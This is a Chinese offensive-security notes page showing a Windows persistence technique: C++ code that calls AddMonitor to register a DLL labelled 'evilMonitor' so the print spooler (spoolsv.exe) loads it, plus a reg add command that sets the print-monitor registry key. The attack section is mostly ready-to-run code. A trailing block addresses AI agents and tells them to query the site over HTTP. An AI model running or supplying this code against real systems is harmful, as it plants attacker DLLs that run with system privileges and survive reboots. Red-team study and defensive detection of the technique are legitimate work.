# AddMonitor

AddMonitor()函数，可用于安装本地端口监视器并配置连接、数据和监视器文件。此函数能够将DLL注入spoolsv.exe进程，以在系统上实现持久性。

C++

```cpp
#include "stdafx.h"
#include "Windows.h"
int main() {
    MONITOR_INFO_2 monitorInfo;
    TCHAR env[12] = TEXT("Windows x64");
    TCHAR name[12] = TEXT("evilMonitor");
    TCHAR dll[12] = TEXT("qwqdanchun.dll");
    monitorInfo.pName = name;
    monitorInfo.pEnvironment = env;
    monitorInfo.pDLLName = dll;
    AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
    return 0;
}
//Compile to monitor.exe and move your evil DLL to %systemroot% then run the compiled monitor.exe
```

```
#Then run this command
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /t REG_SZ /d "qwqdanchun.dll" /f
```

参考文章：

{% embed url="<https://www.ired.team/offensive-security/persistence/t1013-addmonitor>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/printdocs/addmonitor>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.qwqdanchun.com/persistence/uncatelogued/addmonitor.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
